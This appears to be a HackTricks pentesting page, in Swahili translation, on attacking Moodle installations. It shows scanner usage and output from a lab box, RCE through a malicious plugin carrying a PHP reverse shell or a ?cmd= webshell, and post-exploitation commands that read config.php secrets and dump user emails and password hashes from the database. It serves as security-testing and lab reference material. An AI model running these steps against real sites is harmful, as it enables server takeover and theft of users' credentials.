Moodle

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!

• Pata bidhaa rasmi za PEASS & HackTricks

• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.

• Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Sawa ya tuzo ya mdudu: jiandikishe kwa Intigriti, jukwaa la tuzo la mdudu la malipo lililoundwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!

Register - IntigritiRegister - Intigriti

Uchunguzi wa Kiotomatiki

droopescan

pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)

moodlescan

moodlescan

#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.

CMSMap

CMSMap

pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>

CVEs

Nimegundua kwamba zana za kiotomatiki ni za kufeli katika kutambua kasoro zinazoathiri toleo la moodle. Unaweza kuangalia kwa ajili yao katika https://snyk.io/vuln/composer:moodle%2Fmoodle

RCE

Unahitaji kuwa na jukumu la meneja na unaweza kusanikisha programu-jalizi ndani ya kichupo cha "Usimamizi wa Tovuti"**:**

Ikiwa wewe ni meneja, bado unaweza kuwa unahitaji kuamsha chaguo hili. Unaweza kuona jinsi ya kufanya hivyo katika uthibitisho wa mamlaka ya moodle PoC: https://github.com/HoangKien1020/CVE-2020-14321.

Kisha, unaweza kusanikisha programu-jalizi ifuatayo ambayo inaingiza php rev shell ya pentest-monkey ya kawaida (kabla ya kuipakia unahitaji kuibatilisha, kubadilisha anwani ya IP na bandari ya revshell na kuibatilisha tena)

3KB

moodle-rce-plugin.zip

archive

Au unaweza kutumia programu-jalizi kutoka https://github.com/HoangKien1020/Moodle_RCE kupata shell ya PHP ya kawaida na parameter "cmd".

Ili kupata ufikiaji wa programu-jalizi yenye nia mbaya unahitaji kufikia:

http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id

POST

Tafuta siri za hifadhidata

find / -name "config.php" 2>/dev/null | grep "moodle/config.php"

Pindua Sifa kutoka kwenye hifadhidata

/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"

Mwongozo wa tuzo ya mdudu: Jisajili kwa Intigriti, jukwaa la tuzo la mdudu la malipo lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!

Register - IntigritiRegister - Intigriti

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!

• Pata bidhaa rasmi za PEASS & HackTricks

• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee

• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.

• Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.